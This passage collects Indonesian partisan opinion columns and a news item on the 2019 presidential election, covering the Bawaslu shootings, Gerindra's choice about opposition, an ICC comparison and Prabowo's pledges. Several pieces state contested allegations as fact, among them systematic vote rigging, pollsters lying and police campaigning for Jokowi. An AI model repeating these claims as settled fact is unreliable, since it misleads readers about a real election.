Prabowo.

Sebelum Dilantik, Jokowi Harus Temukan Pembunuh 9 Orang di Bawaslu

Jakarta, FNN - Sebelum dilantik sebagai Presiden Indonesia periode kedua 2019-2024, pada 20 Oktober 2019 mendatang, Prasiden Jokowi harus memastikan pelaku pembunuhan terhadap sembilan orang di depan Bawaslu 21 dan 22 Mei 2019. Siapa-siapa saja pelakunya harus dipastikan. Setelah itu pelakunya harus diproses secara hukum, termasuk kepada atasan dan komandan pelaku. “Sebagai Capres yang sudah ditetapkan oleh KPU sebagai presiden terpilih, Pak Jokowi perlu dibersihkan dari beban kematian sembilan orang anak bangsa di Bawaslu 21 dan 22 Mei 2019 kemarin,” ujar politisi Partai Nasdem Kisman Latumakuklita kepada wartawan di Jakarta Rabu (03/06). Dijelaskan Kisman, hampir dipastikan peristiwa kematian sembilan orang di depan Bawaslu akhir Mmei kemarin sudah diketahui jaringan intelejen dunia melalui satelit dan google. Para pegiat Hak Asasi Manusia (HAM) internasional juga mengetaui kenyataan ini. Peristiwa ini bisa menjadi beban pemerintah Jokowi di priode kedua nanti. “Menemukan pelaku pembunuhan sembilan orang di depan Bawaslu ini sangat penting dan strategis bagi Pak Jokowi. Supaya ke depan, tidak menjadi beban politik yang menyandra Pak Jokowi di mata masyarakat internasionbal, khususnya para pegiat HAM,” ujar Kisman mengingatkan Ditambahkan Kisman, komunitas internasional, khususnya pegiat HAM dan Lingkungan, biasanya suka mengaitkan, bahkan sampai menekan pemerintah atau lembaga keuangan internasional agar tidak memberikan pinjaman atau bantuan keuangan kepada pemerintah dari negara yang dinilai melanggar HAM dan merusak lingkungan. Kenyataan ini sudah dialami bebarapa perusahaan raksasa atau konglomerat Indonesia. Produk mereka seperti minyak sawit diboikot di pasar internasional. Mereka juga gagal mendapatkan pinjaman dari bank papan Amerika Serikat Citibank karena dianggap merusak lingkungan. Kasus boikot dari Amerika dan Uni Eropa terhadap minyak sawit Indonesia harus dijadikan pelajaran berharga. Penyebabnya Indonesia dituduh merusak lingkungan karekla membakar lahan hutan perkebunan sawit. ”Kematian sembilan orang di depan Bawaslu ini, jangan sampai dijadikan alasan Indonesia dutuduh pelanggar HAM seperti era di Orde Baru, ” kata Kisman. Semoga tidak ada lagi pemboikotan dari masyarakat internasional terhadap produk ekspor Indonesia hanya karena dituduh melanggar HAM. Apalagi pemerintah Jokowi pada 2018 kemarin mendapat repor merah dari Komisi Nasional Hak Asasi Manusia (KOMNAS) HAM Indonesia terkait buruknya penegakan Hak Asasi Manusisa di Ind0nbesuia. ”Untuk itu, sebaiknya sebelum dilantik pada 20 Oktober 2019 sebagai presiden Indonesia periode 2019-2024, Pak Jokowi harus memastikan dulu siapa-siapa saja pelaku pembuhanan sembilan orang di depan Bawaslu. Targetnya, agar peklakunya segera diproses secara hukum, termasuk kepada komandan dan atasan pelaku yang diduga memerintahkan, “ himbau Kisman. Al-Qur’an memerintahkan setiap muslim untuk menyelamatkan setiap nyawa manusia. Sebab menyelamatkan setiap nyawa manusia, sama artinya dengan menyelamatkan seluruh nayawa manusia. Sebaliknya, menghilangkan satu nyawa manusia, sama artinya dengan menghilangkan seluruh nyawa manusia. “Keanehan terkait dengan kematian sembilan orang di depan Bawaslu, karena Kapolri Tito Karnavian telah memerintahkan seluruh aparat keamanan untuk tidak menggunakan peluru tajam saat mengamankan demonstrasi di depan Bawaslu 21 dan 22 Mei 2019. Pertanyaan, apakah sembilan orang yang meninggal tersebut akibat terkena peluru tajam atau peluru karet dan peluru hampa ?“ tanya Kisman. Bila kematian ini akibat terkena peluru tajam kata Kisman, maka patut diduga ada institusi negara lain di luar kepolisian dan TNI yang ikut bermain di air keruh menunggangi peristriwa ini. Untuk itu, Pak Jokowi harus dan terlibat menyelesaikan masalah ini agar tidak menjadi beban pada priode kedua. “Konstitusi negara Pembukaan UUD 1945 memerintahkan negara melindungi seluruh tumpah darah Indonesia tanpa kecuali. Untuk itu, negara yang dewakili oleh pemerintah mutlak harus melakukan segala upaya untuk menemukan pelaku pembunuhan sembilan orang tersebut. Jika tidak, berpotensi Indonesia akan dikucilkan masyarakat internasional,“ kata Kisman. (sw)

Gerindra Mau Jadi Oposisi atau “Oplosan”?

Oleh: A. Sofiyanto (Wartawan Senior) Jakarta, FNN - Istilah “oposisi” atau menjadi oposan dipandang lebih bernilai positif dan terhormat karena menjadi penyeimbang atau berani melawan penguasa, bukan menjilat atau membebek. Sebaliknya, istlah “oplosan” cenderung bernilai negatif karena diartikan campuran untuk membuat minuman yang memabukkan atau bahkan cairan beracun. Setelah KPU menetapkan Jokowi-Maruf sebagai presiden-wapres terpilih 2019-2024 pasca keputusan Mahkamah Konstitusi (MK)--, meski dibayangi tudingan pemilu curang-- maka partai partai koalisi pendukung capres-cawapres Prabowo-Sandi (PADI) mau tidak mau harus menentukan pilihan politik. Memilih sebagai oposisi di luar pemerintahan Jokowi, atau menjadi “oplosan” (ikut bercampur) di dalam koalisi pemerintahan Jokowi ? Ada empat partai koalisi pengusung PADI yang lolos parliamentary threshold (PT) yaitu Partai Gerindra, PKS , PAN dan Partai Demokrat. PKS sudah tegas menyatakan menjadi oposisi di pemerintahan maupun DPR. Demokrat sudah loncat pagar alias pindah perahu yang lebih “empuk” yaitu ikut bergabung ke koalisi pemerintah 2019-2024. Ini dapat dilihat dari perilaku AHY, anaknya bos Demokrat yang sudah sowan kepada Jokowi dan bahkan bersama adiknya Ibas telah “bersilaturahmi politik” ke Megawati yang bisa diartikan untuk meminta “restu” alias menaklukkan hati Megawati yang selama ini keras “bermusuhan” dengan SBY bak minyak dan air. Sementara PAN nampaknya masih abu abu. Meski Amien Rais yang dikenal sesepuh yang juga pentolan PAN , mengarahkan partai berlambang matahari ini untuk menjadi oposisi. Namun, gelagat Ketua Umum PAN Zulkifli Hasan yang saat masih awal KPU mengumumkan hasil Pemilu 2019, Zulkifli sudah mengucapkan selamat atas kemenangan Jokowi. Kabarnya, ucapan yang dilontarkan terlalu prematur oleh Zulkifli ini ditegur oleh Amien Rais yang juga besannya . Namun, seperti periode 2014-2019 sebelumnya, ternyata PAN menitipkan kadernya ke Presiden Jokowi untuk ditimang menjadi menteri. Entah atas persetujuan Amien Rais atau tidak, yang jelas sikap PAN saat itu lebih memilih jabatan menteri ketimbang oposisi. Lantas bagaimana dengan Gerindra, partai yang dipimpin capres Prabowo yang menjadi pemenang kedua dalam pemilihan umum 2019? Apabila menjadi oposisi, ada peluang bagi Gerindra untuk menjadikan partai ini lebih besar lagi. Namun, jika menjadi “oplosan” alias ikut bercampur dalam partai koalisi penguasa, maka kevokalan Gerindra di parlemen tidak maksimal dan bahkan mengkeret atau kurang berani mengeritik penguasa. Jika ini terjadi, maka Gerindra rugi dua kali. Pertama, Gerindra bakal tidak populer dan menjadikan suaranya akan bisa anjlok di pemilu 2024. Kedua, pendukung Prabowo bakal banyak yang kecewa sehingga minggat dari Gerindra yang juga berdampak menjadikan suara Gerindra akan terjun bebas di pemilu mendatang. Hingga sejauh ini, para pendukung PADI masih meyakini bahwa telah tejadi kecurangan di Pemilu 2019. Nampaknya, siapa pun petahana sangat berpeluang untuk berbuat curang dalam pemilihan presiden. Karena itu, lebih baik ada undang undang yang meniadakan petahana atau melarang masa jabatan dua periode seperti yang diusulkan Prof Dr Salim Said dengan kompensasi masa jabatan presiden ditambah menjadi enam atau tujuh tahun seperti diterapkan di beberapa negara maju. Kalangan pengamat menilai bahwa memang secara legal Jokowi menang berdasar putusan MK. Namun, legitimasi rakyat dan kaum cendekiawan lebih berpihak kepada capres Prabowo. Untuk itulah tidak mengherankan apabila Jokowi berharap kubu Prabowo mau bergabung ke pemerintahannya. Keinginan kubu Jokowi untuk “rekonsiliasi” dengan kubu Prabowo menjadi penting, sehigga tawaran bergabung dengan imbalan kursi jabatan menteri dihembuskan terus oleh pihak Jokowi. Tanpa “rekonsiliasi” dengan Prabowo, maka dibayangi ada kekhawatiran bagi Presiden Jokowi nanti bakal banyak dijemput aksi demo apabila melakukan kunjungan ke daerah daerah seperti Sumatera Barat dan daerah lainnya yang mayoritas pilih Prabowo. Apalagi Aceh yang sudah mengancam akan melakukan referendum jika presidennya Jokowi. Apakah ada orang Gerindra yang ngiler (tergiur) dengan tawaran menteri atau jabatan lainnya? Bilamana Gerindra menyatakan menerima tawaran jabatan tersebut, nampaknya Jokowi langsung melakukan reshuffle kabinet secepatnya dengan memasukkan kader Gerindra menjadi menteri hingga masa jabatan Jokowi pada akhir September 2019. Lantas bagaimana nasib Gerindra setelah Jokowi dilantik lagi sebagai presiden pada Oktober 2019? Saat itu nilai deal (dagang sapi) dari Gerindra sudah lemah, sehingga Gerindra asal diberi kursi menteri yang kurang bergengsi. Lagipula, dengan menjadi partai yang bergabung atau menempel kepada koalisi pemerintahan Jokowi di periode kedua, Gerindra terancam terpuruk karena bakal banyak pendukungnya yang kecewa dan lari lari meninggalkan partai pimpinan Prabowo ini. Wajar kecewa, karena pendukung sekaligus pemilih Prabowo pada Pemilu 17 April 2019 sudah banyak berkorban waktu, tenaga , pikiran serta finansial. Bahkan, ada korban nyawa dari pihak pendukung Prabowo. Kekecewaan pemilih ini akan membuat suara Gerindra nyungsep (menyusut) di pemilu 2024. Karena itu, mau tidak mau Gerindra harus menjadi oposisi jika ingin suaranya tetap besar. Artinya , oposisi merupakan pilihan terbaik bagi Gerindra ketimbang menjadi “oplosan” alias campuran dalam kabinet Jokowi. Sempat mengagetkan, di saat pendukung PADI merasa kecewa dengan proses dan hasil pemuilu 2019,tiba-tiba muncul video ucapan selamat dari cawapres Sandiaga Uno yang memberi ucapan selamat bekerja kepada Jokowi-Maruf untuk periode 2019-2014. Tentu ini semakin menyayat hari para pemilih loyal PADI. Untungnya, pada 1 Juli 2019 melalui instagramnya, Sandiaga Uno menyatakan memilih menjadi oposisi. Sehingga, para pemilih yang kecewa tadi rasanya menjadi plong kembali. Sebenarnya, PKS sudah berkali-kali mengajak Gerindra untuk menjadi oposisi. Ketua DPP PKS Mardani Ali Sera secara tegas mengajak semua partai pendukung PADI tetap menjadi oposisi menjadi penyeimbang/pengontrol untuk mengawal kebijakan rezim Jokowi di periode berikutnya. Namun, ada beberapa politikus Gerindra yang masih diragukan menyambut ajakan PKS tersebut. Diantaranya Ketua Bidang Advokasi DPP Gerindra, Habiburokhman misalnya, kepada wartawan, Selasa (2/7/2019), berkilah, “Kami sangat hormati pilihan PKS karena mereka sahabat setia kami. Tapi kami punya pertimbangan sendiri." Setelah KPU menetapkan Jokowi-Ma'ruf Amin sebagai presiden-cawapres terpilih 2019-2024, muncul isu Gerindra akan bergabung dalam koalisi pemerintahan Jokowi-Maruf, apalagi ada politikus Gerindra yang ucapkan selamat kepada Jokowi. Namun, Anggota Dewan Penasihat Partai Gerindra Muhammad Syafi'i yang dikenal vokal meyakini Prabowo memilih berada di luar pemerintahan. Menurutnya, keberadaan oposisi menyehatkan iklim demokrasi. "Demokrasi yang sehat itu harus ada check and balance, yaitu selain partai pendukung, harus ada partai oposisi. Saya meyakini Gerindra akan tetap pada posisi sebagai oposisi," kata Syafi'i di Gedung DPR, Senin (1/7/2019). Para pejuang sejati pendukung 02 ataupun yang mengklaim pembela kebenaran, keadilan dan kejujuran, tentunya berharap sikap Syafii ini bisa disepekati Prabowo dan akan menenggelamkan orang orang di Gerindra yang kebelet tawaran jabatan menteri atau sejenisnya dari kjubu sebelah. Syafi'i menegaskan, demokrasi hanya akan berjalan dengan baik jika terpenuhi dua unsur: pemerintah dan oposisi. Ini memungkinan check and balance, mekanisme yang meminimalisir kemungkinan penyalahgunaan kekuasaan oleh pemenang. Menjadi oposisi dituntut pengorbanan untuk berjuang keras namun lebih terhormat di mata rakyat. Dibanding memilih menjadi “oplosan” ikut bercampur partai penguasa dan mendapat kue jabatan empuk tetapi ditinggalkan rakyat pemilihnya. Sekarang terserah Gerindra, ingin menempatkan diri sebagai oposisi yang terhormat atau mau menjadi “oplosan” yang bisa dianggap sebagai “pengkhianatan” terhadap rakyat pemilik suara pendukungnya? Please! (***)

Jokowi Berpotensi Diadili Terkait HAM Pilpres

Oleh Mochamad Toha Jakarta, FNN - Laurent Gbagbo menjadi presiden pertama di dunia yang digiring ke International Criminal Court (ICC) di Den Haag, Belanda. Mantan Presiden Pantai Gading itu ditangkap pada 11 April 2011 atas pelanggaran HAM berat, pasca pemilu November 2010. ICC (Mahkamah Kriminal Internasional) adalah lembaga peradilan internasional yang bisa mengadili individu atas kejahatan internasional seperti agresi, kejahatan perang, genosida, dan kejahatan terhadap kemanusiaan yang juga berkedudukan di Belanda. Seperti dilansir The Guardian, Gbagbo menolak menyerahkan kekuasaan kepada lawan politiknya, Presiden Alassane Ouattara yang terpilih secara demokratis dalam pemilu di negaranya. Ia menuduh ada kecurangan yang menyebabkan Ouattara menang. Perang saudara pun tak terhindari. Sedikitnya 3.000 orang tewas dalam kerusuhan yang ia promotori demi mempertahankan kekuasaannya sebagai presiden Pantai Gading. Sidang beberapa kali ditunda sebagai langkah antisipasi kekacauan dari simpatisannya. Presiden yang menjabat selama 10 tahun sejak 2000 itu diadili bersama sekutu terdekatnya sekaligus mantan komandan militernya, Charles Ble Goude. Keduanya didakwa atas tuduhan pembunuhan, pemerkosaan, dan penganiayaan. Layar raksasa dibangun di Pantai Gading untuk memungkinkan masyarakat di Benua Hitam menyaksikan proses persidangan yang berlangsung di Belanda itu. Jaksa penuntut umum dan pengacara bersumpah akan berusaha untuk menguak krisis berdarah selama 5 tahun itu. “Tujuan dari persidangan ini adalah untuk mengungkap kebenaran melalui proses murni hukum,” kata kepala jaksa ICC, Fatou Bensouda, sebagaimana dikutip dari The Guardian, Kamis (28/1/2016). Setelah bersembunyi selama berbulan-bulan di istana presiden dan menjadikannya banteng pertahanan, Gbagbo akhirnya ditangkap oleh pasukan Ouattara, dibantu oleh PBB dan pasukan Prancis. Guru Sejarah itu diekstradisi tujuh bulan kemudian ke ICC. Istri Gbagbo, Simone, yang ketika itu masih dicari ICC atas keterlibatannya dalam kejahatan sang suami. Mantan ibu negara itu telah dijatuhi hukuman 20 tahun penjara di Pantai Gading tahun lalu dan pemerintah lokal menolak untuk menyerahkannya ke ICC. Di tempat lainnya, Presiden Kenya, Uhuru Kenyatta juga pernah diadili ICC, di Den Haag, atas tuduhan mendalangi tindak kekerasan yang menyebabkan 1.000 orang meninggal dunia dan ratusan ribu lainnya mengungsi dalam sengketa pilpres pada 2007. Kenyatta dituduh membiayai militan lokal untuk melakukan serangan balasan. Hari pertama sidang, Selasa (7/10/2014), Kenyatta tidak diharuskan hadir dalam persidangan ini. Demikian mengutip CNNINdonesia.com, Kamis (09/10/2014 20:50 WIB). Hari kedua, Kenyatta diminta hadir terkait penentuan apakah kasus ini bisa dilanjutkan atau tidak. Ini adalah pertama kali Kenyatta menghadiri persidangan sebagai warga sipil karena dia menunjuk wakil presiden untuk menjalankan tugas kepresidenan selama dia diadili. “Saya bersih, selalu bersih dan akan tetap bersih selamanya, sehingga saya tidak bersalah atas semua tuduhan yang mengarah kepada saya,” ujar Kenyatta sebelum bertolak dari Nairobi, Kenya. Selama sidang kedua pada Selasa (7/10/2014), jaksa penuntut menuduh pemerintah Kenya tidak menyerahkan dokumen kunci dalam kasus yang menyerang pemimpin negara mereka. Namun, pengacara Kenyatta membantah tuduhan ini. Jaksa penuntut sempat menghadapi serangkaian kendala terkait kasus ini akibat banyaknya saksi perkara mundur sementara yang lain mengaku berbohong. Jaksa penuntut juga sempat menunda persidangan beberapa kali karena kurangnya bukti. Dalam keadaan biasa, kekurangan bukti akan menyebabkan jaksa penuntut menarik tuntutan. “Namun pemerintah Kenya tak mau bekerja sama dengan pengadilan untuk membantu kasus ini,” ujar ICC pada September 2014. Pemerintah Kenya sebelumnya mengingkari kesepakatan untuk mendirikan pengadilan khusus bagi terduga pelaku kekerasan pasca pemilu sehingga mendorong pengadilan internasional untuk turun tangan. Kenya menyusul Sudan yang mempunyai pemimpin negara bersidang di hadapan ICC. Tidak seperti Kennyata, Presiden Sudan Omar al-Bashir tidak kooperatif dalam persidangan ICC dan menolak surat perintah penahanan dirinya atas tuduhan kejahatan di Darfur. Terkait HAM Pilpres Yang perlu dicatat dari contoh peristiwa di atas adalah bahwa ketiga presiden yang diadili di ICC bukan masalah PHPU-nya. Melainkan pelanggaran HAM yang berakar dari Pilpres juga. Inilah yang bakal dihadapi Presiden Joko Widodo sebagai penanggung jawab. Memang, Mahkamah Konstitusi (MK) sudah memutus, menolak permohonan Pemohon paslon 02 Prabowo Subianto – Sandiaga Uno. Gejala penolakan ini sudah terlihat saat MK menolak eksepsi Termohon KPU dan Terkait paslon 01 Joko Widodo – Ma’ruf Amin. Justru dengan menolak eksepsi, maka secara hukum bisa menolak permohonan PHPU paslon 02. Jika dieksaminasi, sebenarnya dalil pertimbangan yang dikemukakan majelis hakim MK itu banyak kejanggalan. Tapi undang undang menempatkan putusan MK final. Jadi, tak ada upaya hukum yang bisa membatalkannya. Bahasa Prabowo dalam sambutannya menghormati putusan dengan menyatakan kekecewaan. Pendukung tentu juga kecewa dan menilai putusan telah melegitimasi kecurangan. Meski harus kecewa tapi tentu tak harus putus asa ataupun patah semangat. Misi perjuangan mulia adalah dengan menegakkan kedaulatan rakyat dengan segala dimensinya. Prabowo sendiri menyatakan akan mencari jalan untuk perjuangan konstitusional berkelanjutan. Secara yuridis, Jokowi telah ditetapkan KPU sebagai pemenang Pilpres oleh KPU. Kini pun memang Presiden. Perpanjangan resminya jika sudah dilantik nanti Oktober 2019. Meski sukses “memenangkan” kompetisi namun Jokowi memiliki agenda berat ke depan. “Tantangan agenda itu bisa merontokkannya jika ia tak pandai memimpin bangsa dan negara dengan baik. Sekurangnya ada tiga tantangan yang dihadapi dekat,” tulis Pemerhati Politik M. Rizal Fadillah, Jum’at (28/6/2019). Adanya problema pelanggaran HAM berat sebagai ekses Pilpres di mana penanggungjawab pemerintahan adalah dirinya. Ini berkaitan dengan kasus korban tewas 9 orang dalam insiden 22 Mei 2019. Masih simpang siurnya pelaku pembunuhan yang diantaranya tertembak ini apakah pihak perusuh, aparat, atau pihak ketiga. Begitu juga dengan meninggalnya hampir 700 petugas KPPS secara misterius. Pemerintahan Jokowi menjadi pihak yang didesak pertanggungjawabannya dengan tudingan “pelanggaran HAM berat” yang akan melibatkan penyelidikan lembaga kompeten HAM baik nasional maupun internasional. Inilah pintu masuk untuk minta pertanggungjawaban Presiden Jokowi di hadapan ICC seperti yang dialami tiga presiden (Pantai Gading, Kenya, dan Sudan) tadi. Siapa yang mengajukan? Amnesti Internasional, Komnas HAM, atau 34 perwakilan provinsi? Jika bangsa Indonesia tidak ingin dipermalukan dunia, mungkin langkah paling tepat adalah meminta Jokowi – Ma’ruf mengundurkan diri sebagai Presiden-Wapres Terpilih. Sebab, jika peradilan ICC ini jalan, dunia akan melihat akar pelanggaran HAM itu. Bahwa terjadi kecurangan Pilpres 2019 secara TSM oleh KPU dan Jokowi – Ma’ruf, seperti sudah diungkap dalam persidangan MK.

Menjadi Oposisi, Sandiaga Uno Sangat Benar

Oleh Hersubeno Arief (Wartawan Senior) Jakarta, FNN - Calon wakil presiden (cawapres) pasangan calon (paslon) 02, Sandiaga Salahuddin Uno menyatakan untuk membangun Indonesia tidak harus berada di dalam pemerintahan. Harus ada kelompok di luar pemerintahan yang menjadi penyeimbang. Oposisi! Kelompok yang selalu menjaga dan mengingatkan pemerintah. “Bila ada mekanisme saling cek, saling kontrol saling menjaga, dan saling mengingatkan, maka Insya Allah jalannya pemerintahan akan baik,” ujar Sandi melalui akun instagramnya, Minggu (1/7/2019). Pilihan sikap Sandi ini menjadi kabar baik tidak hanya bagi para pendukungnya, baik bagi masa depan politiknya, juga baik bagi masa depan Indonesia. Sikap Sandi memberi harapan baru bahwa tidak semua politisi —apalagi politisi muda— yang bersikap pragmatis. Mengejar kekuasaan secara membabi buta, mengorbankan nilai-nilai idealisme. Sikap Sandi juga menunjukkan di dalam tubuh Partai Gerindra masih banyak pikiran-pikiran waras. Bisa membedakan benar, salah. Menjunjung tinggi idealisme, teguh menjaga kehormatan, menjaga idealisme, menghargai kesetiaan dan pengorbanan jutaan para pendukungnya. Sebelumnya sikap ini secara tegas sudah ditunjukkan oleh Anggota Dewan Pembina Gerindra Maher Algadri. Tokoh senior dan kawan Prabowo sejak masih kecil itu juga dengan tegas menyatakan sebaiknya Gerindra tetap berada di luar pemerintah. Menjaga amanah lebih dari 70 juta massa pendukungnya. “Biar yang kalah di luar menjadi oposisi, kalau enggak bukan demokrasi. Masa semua pada kongkow-kongkow. Jangan, yang sehat dong,” kata Maher. Kita tinggal menunggu sikap Prabowo. Apakah dia sepakat dengan Sandi, Maher dan sejumlah tokoh senior lainnya. Terus berjuang dan menjaga amanah para pendukungnya. Atau lebih mendengar bisikan sekelompok kecil elit Gerindra yang bersikap pragmatis dan oportunis. Kelompok kecil ini mendorong Prabowo segera bergabung dengan Jokowi. Meninggalkan dan mengkhianati para pendukungnya. Melupakan janjinya “untuk timbul dan tenggelam bersama rakyat.” Mengkhianati sikapnya yang menolak kecurangan. Melupakan ucapannya sendiri tidak akan kompromi terhadap ketidak-adilan dan ketidak-jujuran. Menukarnya dengan imbalan yang tak sepadan. Satu dua pos menteri, posisi sebagai ketua Wantimpres, jabatan di parlemen, dan pos-pos duta besar. Sikap Rasional Pilihan sikap Sandi memilih menjadi oposisi secara rasional, matematis dan politis jelas lebih taktis, strategis, dan dalam jangka panjang akan menguntungkan. Dia tidak berpikir jangka pendek, namun bisa melihat jauh ke depan. Sandi sejauh ini sudah menunjukkan sikapnya sebagai figur yang punya prinsip teguh. Dia rela menanggalkan jabatannya sebagai Wagub DKI ketika mencalonkan diri menjadi cawapres mendampingi Prabowo. Padahal aturan perundang-undangan tidak mengharuskan mundur. Sandi menunjukkan kualitas pribadinya jauh lebih unggul bahkan dibandingkan kompetitornya tokoh senior sekelas Ma’ruf Amin. Dia tak mau melepas jabatannya sebagai Ketua Dewan Syariah di BNI Syariah dan Bank Syariah Mandiri ketika menjadi cawapres. Posisi Ma’ruf inilah yang digugat dan banyak dipersoalkan. Kendati dimentahkan oleh Mahkamah Konstitusi (MK), namun publik sudah punya penilaian sendiri bagaimana kualitas seorang Ma’ruf. Sandi memang beda. Bukan orang yang mudah tergoda, apalagi kemaruk jabatan. Dia mau berjuang dan mengutamakan nilai-nilai moral dan etika. Tidak hanya berpegangan pada hal yang bersifat legal formal. Bisa dibayangkan, bila dengan reputasi semacam itu tiba-tiba Sandi sepakat menyerah dan mendapat imbalan jabatan. Apa kata dunia?! Katakanlah Sandi mendapat pos sebagai Menko Perekonomian seperti rumor yang berkembang. Hal itu tetap sangat tidak sepadan. Kontestasi Pilpres 2019 membawa Sandi menjadi tokoh muda terdepan, dalam jajaran kandidat pada Pilpres 2024. Dengan catatan tidak ada amandemen UUD 45 yang memungkinkan Jokowi untuk kembali mencalonkan diri ketiga kali, keempat kali, bahkan mungkin kelima kalinya. Diantara tokoh-tokoh muda seperti Anies Baswedan, Puan Maharani, Muhaimin Iskandar, apalagi bila dibandingkan dengan Agus Harimurti, modal sosial dan politik Sandi jauh lebih unggul. Dia tinggal merawatnya. Hanya perlu bersabar, terus berjuang bersama puluhan juta massa pendukungnya. Menjalankan peran seperti yang telah dikatakannya, ikut membangun Indonesia di luar pemerintahan, lima tahun ke depan, Sandi Insya Allah akan memetik hasilnya. Sebaliknya bila Sandi ikut larut, terbawa arus elit Gerindra yang tak punya etos sebagai perjuang, karir politiknya juga akan ikut terlibas arus perubahan. Sebuah arus yang sedang mengalir deras di tengah rakyat Indonesia. Sikap Sandi bila benar-benar bisa istiqomah, teguh pada pendirian, akan baik bagi dirinya sendiri, baik bagi Gerindra, dan baik bagi Indonesia. Oposisi bukanlah anak haram. Oposisi adalah anak kandung demokrasi. Seperti obat, justru rasa pahitnya yang akan menyembuhkan dan menyehatkan.

Mengenang Kembali Wasiat dan Wakaf Nyawa Prabowo

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Ketika atmosfir perlawanan terhadap kezaliman para penguasa mencapai puncaknya, Prabowo Subianto (PS) pernah berucap bahwa dia mewakafkan sisa hidupnya untuk bangsa dan negara Indonesia. Prabowo juga membuat surat wasiat. Walaupun isinya masih belum terungkap secara pasti. Kalau dilihat suasana patriotis dan penuh emosional di tengah kezaliman dan kesewenangan yang sedang dihadapi mantan Danjen Koppasus itu, tidaklah berlebihan jika wasiat itu diartikan sebagai pertanda bahwa beliau siap mati demi kebanaran, keadilan, dan kejujuran. Memang kemudian muncul klarifikasi bahwa wasiat itu maksudnya adalah bahwa langkah-langkah perjuangan haruslah selalu berada di koridor hukum. Namun begitu, semua orang masih ingat suasana perjuangan dalam 1.5 tahun belakangan. Termasuklah di masa-masa kampanye pilpres 2019. Ketika itu, Prabowo melihat kesewenangan para penguasa memang harus dihentikan sekalipun nyawa taruhannya. Artinya, sangatlah cocok tafsiran wasiat dan wakaf nyawa itu sebagai sinyal bahwa Pak Prabowo siap menghadapi apa saja. Termasuk kehilangan nyawa. Beliau bahkan sudah memahami konsep ‘hidup mulia atau mati syahid’. Yaitu, ‘isy kariman aw mut syahidan’. Slogan ini pernah dia ucapkan beberapa kali di depan publik. Beliau juga pernah mengatakan bahwa tidak ada apa pun yang ditakutinya selain Allah SWT. Artinya, Prabowo siap sepenuhnya berjuang dengan segala pengorbanan. Rakyat pendukung beliau pun menjadi sangat bersemangat mendengar penegasan pemimpin yang gagah dan cerdas itu. Alhamdulillah, gerak maju Pak Prabowo untuk menyingkirkan apa yang dia sebut sebagai ‘para pengkhianat’ bangsa mendapatkan sambutan kuat dari publik. Kebetulan publik juga menginginkan pergantian pemimpin. Prabowo berhasil meyakinkan rakyat tentang ‘keberanian’ dia melawan kesewenangan. Orasi (pidato) yang ia sampaikan selalu berapi-api. Mampu membangkitkan semangat tempur para pendukung. Ke mana pun beliau pergi selalu membludak massa yang menyambut. Keyakinan semakin kuat untuk menghentikan pengkhianatan para penguasa. Logika mata menyimpulkan bahwa Pak PS tak terbendung lagi. Kemenangan sudah di tangan. Karena memang faktual bahwa kampanye lawan tanding beliau jauh tertinggal di belakang. Sepi selalu. Di mana-mana publik menyambut Jokowi-Ma’ruf dengan teriakan ‘Prabowo’ plus acungan dua jari. Kampanye Jokowi-Ma’ruf memang ‘memble’. Logika mata menyimpulkan bahwa kekalahan paslonpres 01 tak terelakkan. Di mana-mana orang yakin Prabowo-Sandi paling sedikit akan merebut 60% suara pemilih. Meskipun lembaga-lembaga survei membohongi khalayak bahwa Jokowi-Ma’ruf-lah yang akan menang. Kubu 02 yakin calon mereka akan masuk ke Istana. Keyakinan itu tak berlebihan. Mengingat begitu beratnya tim sukses Jokowi menghadirkan massa di kampanye-kampanye 01. Padahal, mereka menyediakan berbagai fasilitas bagus yang tidak dinikmati oleh massa kampanye 02. Sangat pantas diduga bahwa kesulitan dalam menampilkan kampanye besar itu membuat para penguasa tidak punya pilihan lain. Mereka harus menyalahgunakan berbagai instansi negara untuk membantu penyuksesan kampanye. Agar kampanye 01 terlihat meriah. Cara ini tetap tak mampu mendongkrak kampanye Jokowi-Ma’ruf. Padahal kepolisian terlibat aktif menggalang dukungan untuk 01. Di seluruh Indonesia. Namun demikian, kampanye-kampanye mereka selalu memalukan, bahkan di basis-basis pendukung Jokowi sekalipun. Jauh ke belakang, “tour the country” yang dilakukan Sandiaga Uno ke lebih 1,300 titik persinggahan, juga sukses luar biasa. Di sambut di mana-mana. Tanpa fasilitas apa-apa. Tanpa nasi bungkus. Bahkan tanpa segelas air pun yang disediakan panitia. Artinya, rakyat menunjukkan ketulusan mereka mendukung Praboso-Sandi. Bahkan sebaliknya rakyat yang mengumpulkan dukungan dana untuk 02. Di banyak tempat. Prabowo-Sandi menjadi sangat terharu. Mereka berjanji tidak akan menyia-nyiakan dukungan rakyat. Tidak akan mengkhianatinya. Rakyat bersungguh-sungguh mendukung dan berjuang karena mereka tidak ingin rezim Jokowi berlanjut dua periode. Mereka ingin Prabowo yang memimpin Indonesia. Semua pertanda elektoral menunjukkan 02 akan menang. Menang telak. Akhirnya, perasaan rakyat tertusuk. Marah. Sangat marah. Ketika KPU akhirnya memenangkan Jokowi-Ma’ruf dengan dugaan kuat berdasarkan perhitungan curang. Curang besar. Yang kemudian diperkuat oleh keputusan aneh Mahkamah Konstitusi (MK) pada 27 Juni 2019. Alhamdulillah, proses yang dilakukan untuk memenangkan Jokowi oleh KPU dan MK berjalan lancar. Sebaliknya, tidak terjadi protes apa-apa dari Prabowo ketika dia dinyatakan kalah. Suatu kali, pertengahan Mei 2019, Prabowo menyatakan sikap tegas tentang dugaan kuat kecurangan pilpres. Beliau bersumpah tidakan membiarkannya. Akan melawan kecurangan yang tanda-tandanya sangat jelas. “Tidak mungkin saya meninggalkan rakyat Indonesia. Saya siap timbul dan akan tenggelam bersama rakyat sampai titik darah yang terakhir. Selama rakyat percaya dengan saya, selama itulah saya akan tetap bersama rakyat melawan kecurangan,” kata Sang Jenderal. Begitulah kisah Prabowo yang dimulai dengan semangat patriotisme, wakaf nyawa, wakaf sisa hidup, dan surat wasiat. Inilah figur gagah berani yang diidolakan rakyat. Ratusan juta rakyat. Tua, muda, laki-laki dan perempuan. Emak-emak dan nenek-nenek. Remaja dan anak-anak. Di mana ada kampung, di situ ada dominasi Prabowo. Tapi, sekarang, semua menjadi gelap. Orang-orang ‘inner circle’ (lingkaran inti) beliau menjadi tak jelas. Mereka semua memakai topeng abu-abu. Siap lompat mengabaikan Sang Jenderal. Untuk menerkam sisa-sisa kueh yang dirampok dari rakyat. Untuk merebut beberapa kursi jorok yang amis berbau darah. Pak Prabowo menjadi galau. Bumi di pijak, tapi langit tak dijunjung. Langit semakin tinggi, bumi terasa 